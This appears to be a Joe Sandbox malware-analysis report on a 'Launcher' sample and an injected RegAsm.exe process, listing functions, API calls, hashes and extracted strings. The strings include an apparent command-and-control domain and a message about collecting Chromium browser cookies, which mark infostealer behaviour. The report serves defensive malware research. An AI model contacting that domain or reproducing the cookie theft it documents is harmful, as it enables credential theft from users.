Part of subcall function 00518B14: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00518B3F

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00518E2B,?,00000000,?,00000000,?), ref: 00519045
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00518E2B,?,00000000,?,00000000,?), ref: 00519087

Strings

e<k, xrefs: 00518FEC

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: e<k
API String ID: 546120528-356446228
Opcode ID: 646b86e6a215702a83d2a99b51c457e177a71dae05db1be96404ece49adb97d6
Instruction ID: ffe540472cd4b17569ce164f3318a1f35e6061ff2768904b83ad349f01f445d9
Opcode Fuzzy Hash: 646b86e6a215702a83d2a99b51c457e177a71dae05db1be96404ece49adb97d6
Instruction Fuzzy Hash: 2C512574A40746AEEB20CF35C8A96EBBFF5FF95300F14446ED08687292E67499C5CB90

Function 005032CB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 005013CB: __EH_prolog3_catch.LIBCMT ref: 005013D2
Part of subcall function 005013CB: _strlen.LIBCMT ref: 005013E4

OffsetRect.USER32(00000000,00000000,00000000), ref: 005033CB

Part of subcall function 005047DF: _Deallocate.LIBCONCRT ref: 005047EE

Part of subcall function 00504793: _Deallocate.LIBCONCRT ref: 005047A6

Part of subcall function 00504770: _Deallocate.LIBCONCRT ref: 00504780

Strings

JAHNsiu, xrefs: 00503315
e<k, xrefs: 005032D1

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Deallocate$H_prolog3_catchOffsetRect_strlen
String ID: JAHNsiu$e<k
API String ID: 306915311-109000140
Opcode ID: 4a08253969536ef29b60f57189dbeaa9572d2cea053e181f513f0974cf8b71ac
Instruction ID: 8d935e8c3d1d89f2aa92b6542b754527ef1390e9add31183e51fc8c1148c58fc
Opcode Fuzzy Hash: 4a08253969536ef29b60f57189dbeaa9572d2cea053e181f513f0974cf8b71ac
Instruction Fuzzy Hash: 9A5166715083859FC310EF29D895AAFBBE4BFD9304F540A2EF5D583282DB359A09CB52

Function 005165B5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132fileCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00516605
ReadFile.KERNEL32(?,?,00001000,?,00000000,0051634E,00000001,00000000,?,00000000,?,?,00000000,?,?,005167D1), ref: 0051668B

Strings

e<k, xrefs: 005165C4

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: e<k
API String ID: 1834446548-356446228
Opcode ID: 3e7fb0281dd8ae560e79981a3b48c03277d4234ef279713f5075ecec49e29e99
Instruction ID: 7ef0466c72b90a8cbd984766482da35b9d32afdd83e12abb2cbca95b5da876ea
Opcode Fuzzy Hash: 3e7fb0281dd8ae560e79981a3b48c03277d4234ef279713f5075ecec49e29e99
Instruction Fuzzy Hash: 1941DF31A00159ABEF21DF28CC84BE9BBB5FB48304F1081E9E98996281D7B5DEC19F50

Function 0050C0E7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0050C10C

Strings

MOC, xrefs: 0050C11E
RCC, xrefs: 0050C126

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: cfd090da104497165dbe85d82e654289316452a92e08cc9029f86cb5c5731439
Instruction ID: a8b2ca40bc2908b8623001e6c0fdfb93a2a507a8969eb1ec3ebb26e1b1ee00a3
Opcode Fuzzy Hash: cfd090da104497165dbe85d82e654289316452a92e08cc9029f86cb5c5731439
Instruction Fuzzy Hash: FC416A3190020AEFDF16DF98CC85AEEBFB5BF49304F184259F90467292D3359951DB50

Function 00515BF2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,00515F69,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0050E8E0), ref: 00515CDB
GetLastError.KERNEL32(00515F69,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0050E8E0,00000000,00000000,005298F0,00000010,00000000), ref: 00515D0B

Strings

e<k, xrefs: 00515C01

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: e<k
API String ID: 442123175-356446228
Opcode ID: 6a79566342a5c238ef1748df7049d5651fbc5101cbb317fcebe68998e4696027
Instruction ID: 66cc43b8387ef4e941a435a209685c33aeb3b4972f525c714f843ea80de68f66
Opcode Fuzzy Hash: 6a79566342a5c238ef1748df7049d5651fbc5101cbb317fcebe68998e4696027
Instruction Fuzzy Hash: 4B317371600619EFEB24CF68DC85BED77A5FB94304F1444A9E506D7290EA70AEC58BA0

Function 00514C0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00514C64
__freea.LIBCMT ref: 00514CCA

Strings

e<k, xrefs: 00514C15

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: __alloca_probe_16__freea
String ID: e<k
API String ID: 1635606685-356446228
Opcode ID: 716a062a8b1f7d0af3c5c0dea7a55723742b5e5cb77129e5e4fc8044e177749e
Instruction ID: 5d32b0521da1f2f271087dc5786a659df7d373bbd35a88554fc151e9d1db5954
Opcode Fuzzy Hash: 716a062a8b1f7d0af3c5c0dea7a55723742b5e5cb77129e5e4fc8044e177749e
Instruction Fuzzy Hash: E5218E72901156ABEB209FA5DC49DEF7FA8FF84764B144614F815AB291DB34CD80CBE0

Function 00515B09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,?,00515F54,?,00000000,00000000,00000000,00000000,00000000), ref: 00515BB3
GetLastError.KERNEL32(?,00515F54,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0050E8E0,00000000,00000000,005298F0,00000010), ref: 00515BD9

Strings

e<k, xrefs: 00515B18

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: e<k
API String ID: 442123175-356446228
Opcode ID: a5f94adf522167ca019173d1384e653298cb2e735247076df765ec153d19d22d
Instruction ID: 146be6c9ff979d82e79b2f1a6232a31bc88343911ca9386d7e5e29a861f0a224
Opcode Fuzzy Hash: a5f94adf522167ca019173d1384e653298cb2e735247076df765ec153d19d22d
Instruction Fuzzy Hash: 93218235A04219DFDB24CF19DC819EDB7B9FF88314F2444AAE90AD7291E7309D85CAA0

Function 00503FEA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0050400B

Strings

yRP, xrefs: 00503FEA
e<k, xrefs: 00503FF0

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: _strlen
String ID: e<k$yRP
API String ID: 4218353326-4034237958
Opcode ID: 9b4c3dcb3773b9a98a6f42a87723d8daf224baa296176541a22b550272e9432a
Instruction ID: 1a3ad55f2f1999657632684653737af29cdd0018540489bce6a6c17057053e24
Opcode Fuzzy Hash: 9b4c3dcb3773b9a98a6f42a87723d8daf224baa296176541a22b550272e9432a
Instruction Fuzzy Hash: B6011B71A0010AABCB00EFA4D85A8EEBBB8FF94304F504069F915A7192EB34AD15DB65

Function 005050DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 005050E1

Strings

(gW, xrefs: 005050F0, 00505183
KP, xrefs: 00505109

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: H_prolog3_catch
String ID: (gW$KP
API String ID: 3886170330-632596757
Opcode ID: 03446c93fce75db35a5207018ca0f1e62b0dba7b758d21a1266321c3caa8cec1
Instruction ID: d1a1cee0f70971f6342e990f743192015e99ca8273eab96180da546b84bb4103
Opcode Fuzzy Hash: 03446c93fce75db35a5207018ca0f1e62b0dba7b758d21a1266321c3caa8cec1
Instruction Fuzzy Hash: A7015275A00516DFDB14EB64C88ABEEBBB1BFC4324F248129E2516B1D1DB709D42CF94

Function 00509143 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0050914E
___raise_securityfailure.LIBCMT ref: 0050920B

Strings

8iW, xrefs: 00509206

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8iW
API String ID: 3761405300-2483648899
Opcode ID: 8d3fe34bf8b06d55d671f457cee544cf41e457847c8532cdf103097f9812a67d
Instruction ID: 741ad65f091d6f071a47419007dcf4d3242729292a1fc80127040bb0cd4eab60
Opcode Fuzzy Hash: 8d3fe34bf8b06d55d671f457cee544cf41e457847c8532cdf103097f9812a67d
Instruction Fuzzy Hash: 81119DB5561A04DFD710CF1AFD85A457FB4FB68310B00902AE90EA7BA1E37095C9BF49

Function 005099C2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,yRP,00505558,?,00529208,?), ref: 00509A22

Strings

yRP, xrefs: 005099C2
XUP, xrefs: 00509A09

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID: XUP$yRP
API String ID: 3997070919-2123377589
Opcode ID: e745e3c097e55aeb10639b58098d0c40ca66126e3848bc1eee7c86e19f025b6f
Instruction ID: 2ccc4499734ac1e8ae676cd12c603f924e8acf404d4afe810af2f973c8fce115
Opcode Fuzzy Hash: e745e3c097e55aeb10639b58098d0c40ca66126e3848bc1eee7c86e19f025b6f
Instruction Fuzzy Hash: 4D01A275A00209ABC7119F9CD884BAEBFB8FF84710F15415AE905AB392E770ED01CB90

Function 005024EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCONCRT ref: 0050251A

Part of subcall function 0050275F: ___std_exception_copy.LIBVCRUNTIME ref: 00502786

Part of subcall function 005047DF: _Deallocate.LIBCONCRT ref: 005047EE

Strings

yRP, xrefs: 005024EA
e<k, xrefs: 005024F0

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Deallocate___std_exception_copystd::exception::exception
String ID: e<k$yRP
API String ID: 2487873247-4034237958
Opcode ID: 56559c24f43fabd1fc65c95877da8229cf32543afaa43b899e8bf2765da1bef9
Instruction ID: 0e8cd0213d516347134822efacc962aca28489337f5d2cfa8fe9fe49867e4622
Opcode Fuzzy Hash: 56559c24f43fabd1fc65c95877da8229cf32543afaa43b899e8bf2765da1bef9
Instruction Fuzzy Hash: 52014B78A00219DFCB14EF54C0588AEFBF5FF88300B50841EE89597781DB74AA05CB90

Function 0050243C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00502443
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0050247B

Part of subcall function 005066DD: _Yarn.LIBCPMT ref: 005066FC
Part of subcall function 005066DD: _Yarn.LIBCPMT ref: 00506720

Strings

bad locale name, xrefs: 00502489

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: b48d506d0dab3a688b79194b038f97c6bc7fd40e03c79cabf11505d50087e448
Instruction ID: b5c6e7dc9f893ad58b09bd2ef9715c5aa9979091cc63a85dd7efee6dd0fb44e2
Opcode Fuzzy Hash: b48d506d0dab3a688b79194b038f97c6bc7fd40e03c79cabf11505d50087e448
Instruction Fuzzy Hash: 96F0F971505B519EC3209F6A948544BFFE4BF292107508E2EE09EC3A51D630A404CBA9

Function 00501E1A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

InitOnceBeginInitialize.KERNEL32(?,00000000,00000000,00000000,00000000,00000028,yRP,00503CB9,0057641C,?,00000028,005042FC,00000028,00000028,yRP,0050446C), ref: 00501E2A
InitOnceComplete.KERNEL32(?,00000000,00000000), ref: 00501E48

Strings

yRP, xrefs: 00501E1A

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: InitOnce$BeginCompleteInitialize
String ID: yRP
API String ID: 51270584-1200088303
Opcode ID: b476bcae82d98cfd4638f47e0915bca613ab19e4b6a399d15957edc0161956c9
Instruction ID: 136b01032e265c7b28f8e2d9a492d209b0862b90b64e3d99261cac8b83e66c27
Opcode Fuzzy Hash: b476bcae82d98cfd4638f47e0915bca613ab19e4b6a399d15957edc0161956c9
Instruction Fuzzy Hash: 7BE0C971502229BADF206BA2DD0DE9F7E6CFF46B907004025F80991195EB209A45E6A5

Function 0050872D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00576924,?,00576418,yRP,00503CF3,00576418,00000000,00501E3E), ref: 00508738
ReleaseSRWLockExclusive.KERNEL32(00576924,?,00576418,yRP,00503CF3,00576418,00000000,00501E3E), ref: 00508772

Strings

yRP, xrefs: 0050872D

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: yRP
API String ID: 17069307-1200088303
Opcode ID: 965da51f83f162dc45ecf9a5ea1b7f181b98afb9243dc650ace52e5552f3db62
Instruction ID: 24ebb469d9eaab010b4b7d05be8f9c4af64ae4b28a0be558191cdcd40024a493
Opcode Fuzzy Hash: 965da51f83f162dc45ecf9a5ea1b7f181b98afb9243dc650ace52e5552f3db62
Instruction Fuzzy Hash: 31F08C34501501CFC7209F14E848E38BFB4FB9A771F30462AE99A832E1CB316886EA61

Function 00506B64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20threadCOMMON

Download Yara Rule

APIs

CreateThreadpoolWork.KERNEL32(00506B91,00000000,00000000), ref: 00506B73
Concurrency::details::_Reschedule_chore.LIBCPMT ref: 00506B80

Part of subcall function 00506B3B: SubmitThreadpoolWork.KERNEL32(00000000,00000000,yRP,00506B85,00000000), ref: 00506B59

Strings

yRP, xrefs: 00506B64

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ThreadpoolWork$Concurrency::details::_CreateReschedule_choreSubmit
String ID: yRP
API String ID: 2105139197-1200088303
Opcode ID: d1c229a8f549014cabaa478ab8fa1bd894d2b597e66adaf1603e1dacebf0dd7d
Instruction ID: 9dca998cb3571b0901819a2b5545765726e089016f1b57e666835a6acddb5c11
Opcode Fuzzy Hash: d1c229a8f549014cabaa478ab8fa1bd894d2b597e66adaf1603e1dacebf0dd7d
Instruction Fuzzy Hash: CFD02E72202226AAD6202B88AC0AFDE7F8CEF023B1F000022F50CD20C1CA30A01093E8

Analysis Process: RegAsm.exePID: 3868, Parent PID: 6628COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.8%
Total number of Nodes:	415
Total number of Limit Nodes:	35

Executed Functions

Function 0040F1B0 Relevance: 45.1, APIs: 1, Strings: 24, Instructions: 1380COMMON

Download Yara Rule

Strings

B5>K, xrefs: 0040FFF9
SWj, xrefs: 0041021D
PqAw, xrefs: 00410062
1]9_, xrefs: 0040F36C
<Yl_, xrefs: 0041001C
5QvW, xrefs: 0041002A
2AfG, xrefs: 0041000E
jjj, xrefs: 00410228
tQpS, xrefs: 0040F34E
|qps, xrefs: 0040FC41
&uCw, xrefs: 0040FC3A
#E'[, xrefs: 00410015
1M;C, xrefs: 00410007
kaminiasbbefow.shop, xrefs: 0040F51E, 0040FD37
ONIH, xrefs: 00410245
Y!N#, xrefs: 0040F32C
'$5, xrefs: 0040F21E
u[w, xrefs: 0040F3A8
hI}O, xrefs: 00410000
"I'K, xrefs: 0040FC33
D1W7, xrefs: 0040FFF2
)>=., xrefs: 0040F217
[info] collected cookies file of the chromium-based browser, xrefs: 0040FF7D
rUYk, xrefs: 00410031

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "I'K$#E'[$&uCw$'$5$)>=.$1M;C$1]9_$2AfG$5QvW$<Yl_$B5>K$D1W7$ONIH$PqAw$SWj$Y!N#$[info] collected cookies file of the chromium-based browser$hI}O$jjj$kaminiasbbefow.shop$rUYk$tQpS$|qps$u[w
API String ID: 0-623263475
Opcode ID: a7536e71a4b48577d7fa7a9f4566b3da7d38f2e4167b9b339fc9b5653ab02274
Instruction ID: 094bcf95130c752f33b427e90a936eeee776481959b6d907c12ca5f8f899d4dc
Opcode Fuzzy Hash: a7536e71a4b48577d7fa7a9f4566b3da7d38f2e4167b9b339fc9b5653ab02274
Instruction Fuzzy Hash: 09B2ACB4500B428FD325CF26C491767BBE2BF86304F14896DD4AA5BBA2C739F845CB94

Function 00425B30 Relevance: 26.9, APIs: 4, Strings: 10, Instructions: 2397COMMON

Download Yara Rule

Strings

:jB, xrefs: 00426A34
RZ U, xrefs: 00427C07
v~ye, xrefs: 00425C1F
URhY, xrefs: 00425D44
b@R!, xrefs: 004266E1
b}B, xrefs: 00427D50
'"D[, xrefs: 004266F5
jLB*, xrefs: 004275DE
gvrd, xrefs: 00425C15
ssjx, xrefs: 00425C0B

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: '"D[$:jB$RZ U$URhY$b@R!$b}B$gvrd$jLB*$ssjx$v~ye
API String ID: 0-3316563731
Opcode ID: 8fa16357e3edeead84cc1f49551799bc03e305e5c7525a7ee36684cb1ad4917f
Instruction ID: 33ba4b344d5d999ac507edfd8e177e8d665d615ec0fba29d61e8b52e9fbcd566
Opcode Fuzzy Hash: 8fa16357e3edeead84cc1f49551799bc03e305e5c7525a7ee36684cb1ad4917f
Instruction Fuzzy Hash: 08130270204B918BD325CF39D4947A3FBE1AF6A304F548A5EC0EB8B792D739A445CB58

Function 00428D80 Relevance: 21.4, Strings: 17, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

s, xrefs: 00429323
v, xrefs: 00429339
a, xrefs: 00428EAB
b, xrefs: 00428EC1
o, xrefs: 0042930D
z, xrefs: 00429021
~, xrefs: 00429365
i, xrefs: 00428F2F
n, xrefs: 00428F7C
f, xrefs: 00428F03
{, xrefs: 0042934F
e, xrefs: 00428EED
_, xrefs: 004292E1
x, xrefs: 00429000
j, xrefs: 00428F45
r, xrefs: 00428FB3
k, xrefs: 004292F7

Memory Dump Source

Source File: 00000002.00000002.1788886308.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _$a$b$e$f$i$j$k$n$o$r$s$v$x$z${$~
API String ID: 0-323856413
Opcode ID: 839a2a3db6d5777280cc8dc1fcc0007fe3ec8738c7e2be7ce742be5c007af46d
Instruction ID: 7d9f21f3a5fae6b3c39634bd3b948c86eee82fd6d7dcab63f523d8b512efdbd2
Opcode Fuzzy Hash: 839a2a3db6d5777280cc8dc1fcc0007fe3ec8738c7e2be7ce742be5c007af46d
Instruction Fuzzy Hash: A4D14AB01497918BE771CF51D18878BBBE4BBC5B4AF108D4ED5C92B241C7B94648CF8A

Function 0042E8E8 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E987
